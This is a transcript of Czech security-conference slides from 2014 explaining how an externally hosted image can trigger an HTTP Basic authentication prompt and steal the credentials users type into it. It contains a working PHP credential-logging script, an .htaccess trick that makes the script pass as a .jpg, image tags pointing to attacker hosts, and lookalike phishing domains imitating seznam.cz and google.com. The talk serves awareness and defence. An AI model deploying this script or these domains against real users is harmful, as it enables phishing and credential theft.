Krádež přihlašovacích údajů obrázkem
Transkript
Krádež přihlašovacích údajů obrázkem Roman Kümmel SOOM.cz Hacking & Security Konference 2014 Poděkování za námět na tuto přednášku patří Filipu Tomkovi aka Fil-kun SOOM.cz Hacking & Security Konference 2014 O co půjde Půjde o krutopřísný exploit zneužívající buffer overflow ? NE SOOM.cz Hacking & Security Konference 2014 Proč to dělat složitě Proč hledat a zneužívat chyby, když nám stejnou možnost dává přímo vestavěná vlastnost webových prohlížečů ? Navíc multiplatformě a napříč softwarem - Webové prohlížeče E-mailový klienti ostatní software zobrazující HTML SOOM.cz Hacking & Security Konference 2014 Nebezpečí externích zdrojů V čem může být nebezpečné, pokud uživatelům na webu povolíme vkládání externích obrázků v jejich příspěvcích? <img src=“http://www.attacker.cz/image.jpg“> • Identifikace uživatele (Referer, User-Agent, IP, ...) • Zjištění skutečnosti, zda byla zpráva přečtena • Zneužití pro CSRF útoky Z tohoto důvodu jsou externí obrázky defaultně zakázány v e-mailovém sw. SOOM.cz Hacking & Security Konference 2014 Ještě něco? Jde externích obrázků zneužít také k získání přihlašovacích údajů? ANO pomocí HTTP Autentizace SOOM.cz Hacking & Security Konference 2014 HTTP autentizace 1 HTTP Autentizaci lze implementovat například použitím .htaccess a .htpasswd pokud budu chtít zabezpečit obsah stránky. Tím ale žádný tajný údaj nezískám :( SOOM.cz Hacking & Security Konference 2014 HTTP autentizace 2 HTTP Autentizaci lze použít i jinak header('WWW-Authenticate: Basic realm="Message"'); $_SERVER['PHP_AUTH_USER'] $_SERVER['PHP_AUTH_PW'] SOOM.cz Hacking & Security Konference 2014 Exploit <?php $user = $_SERVER['PHP_AUTH_USER']; $pass = $_SERVER['PHP_AUTH_PW'] if ($user == "" || $pass == "" || !isLoginValid($user, $pass)) { $message = '"POKUD CHCETE ZOBRAZIT VŠE, MUSÍTE SE PRIHLASIT"'; header("WWW-Authenticate: basic realm=$message"); exit(); } else { $file = file_get_contents('log.txt'); file_put_contents("log.txt", "$user : $pass \r\n $file"); header('Content-Type: image/jpeg'); echo file_get_contents('image.jpg'); } ?> SOOM.cz Hacking & Security Konference 2014 Použití a výsledek <img src=“http://www.utocnik.cz/image.php“> SOOM.cz Hacking & Security Konference 2014 Vylepšení (typ souboru) Obejití ochrany umožňující vkládat pouze .jpg Podstrkávání .htaccess RewriteEngine on RewriteRule image\.jpg image.php <img src=“http://www.utocnik.cz/image.jpg“> SOOM.cz Hacking & Security Konference 2014 Vylepšení (název domény) Lze podvrhnout název domény? SOOM.cz Hacking & Security Konference 2014 Vylepšení (název domény) Některé domény se mohou hodit :) cz-seznam.cz cz-volny.cz com-google.com cz-prilohy.email com-inserted.pictures SOOM.cz Hacking & Security Konference 2014 Vylepšení (název domény) Subdomény jsou fajn :) http://email.seznam.cz-seznam.cz http://www.volny.cz-volny.cz http://mail.google.com-google.com http://mail.seznam.cz-prilohy.email http://mail.google.com-inserted.pictures SOOM.cz Hacking & Security Konference 2014 Výsledek SOOM.cz Hacking & Security Konference 2014 Úspěšnost? Nyní bych vám rád řekl, že úspěšnost tohoto útoku je více než 70%, ale přeci si nemyslíte, že jsem to skutečně někde zkoušel… SOOM.cz Hacking & Security Konference 2014 Závěr Raději si dobře rozmyslete, zda svým uživatelům umožníte externí obrázky používat… SOOM.cz Hacking & Security Konference 2014
Podobné dokumenty
Ukázková kapitola 7
Robot pak dostává vysoce optimalizovanou stránku, ze které by normální uživatel rychle utekl.
Na to jsou autoři vyhledávačů velmi citliví, jak již bylo několikrát řečeno, jejich cílem je podávat co...
POČÍTAČOVÁ BEZPEČNOST z pohledu uživatele
(čistě informační www → bankovnictví)
(příliš složité “pro všechny”)
prezentace
per-server – pro všechny weby na serveru
per-virtualhost – pro jeden virtualhost (web)
per-directory – pro konkrétní adresář konkrétního webu
tato možnost musí být povolena správcem serveru
LETNI AKCE III
2. den: dopoledne přejedeme na TIROLER ACHE. Je skvělá na rozpádlování a podle Kanu
Magazínu po Salze druhou nejnavštěvovanější řekou Rakouska. Není se co divit. Proplétá se
opravdu nádherným kaňon...
Gigaset 4000 classic - AmiCom Teplice, sro
Akumulátory se během nabíjení zahřívají; je to
normální a není to nebezpečné.
Neotevírejte přihrádku akumulátorů, pokud to není
nezbytně nutné, mohlo by dojít k tomu, že stav nabití nebude správně ...
gazzag Proxy
Sociální sítě jako nová platforma
pro šíření Malware
Michal Tresner
AEC, spol. s r. o.